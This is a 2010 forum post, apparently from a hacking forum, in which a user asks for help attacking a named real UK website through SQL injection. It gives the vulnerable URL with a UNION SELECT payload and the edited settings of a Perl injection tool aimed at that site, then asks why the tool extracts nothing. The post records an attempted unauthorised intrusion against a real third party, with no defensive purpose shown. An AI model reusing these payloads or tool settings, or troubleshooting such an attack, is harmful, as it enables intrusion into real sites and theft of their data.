
16.03.2010, 16:06
|
|
Новичок
Регистрация: 12.03.2010
Сообщений: 7
С нами:
8509359
Репутация:
0
|
|
hello
i want to injection in mysql vulnerable site
http://www.milliontreeproject.co.uk/retailer.php?catid=-1+UNION+SELECT+1,2,3
and 2 columns is printable field
i am trying to get information of this site through Toolza i edit 1 line in toolza.pl
i edit like this
################################################## ################################################## #####################################
## Основные настройки MySQL - вместо принтабельного поля поставьте " ^ " |MySql Basic options - print " ^ " instead of printable field #
################################################## ################################################## #####################################
$source_sql = "http://www.milliontreeproject.co.uk/retailer.php?catid=-1+UNION+SELECT+1,^,3";
$filtr = "--"; # close SQL
$plus = "+"; # /**/,%20,%2b & etc.
$limit = 0; # 0 - no limit; 1 - limit+0,1; 2 - limit+1,1
$unhex = 0; # unhex(hex(DATA))); 0 - disable; 1 - enable
$aes = 0; # AES_DECRYPT(AES_ENCRYPT(DATA),x071),x071); 0 - disable; 1 - enable
$aes_key = "0x71"; # AES key
and when i run toolza.pl and want to get information it get nothing and give like this only
system information:
Request method - Post
Threads - 10
proxy - no
saved in z_www.milliontreeproject.co.uk.txt
why i am not getting information ???
please help me
thank you
|
|
|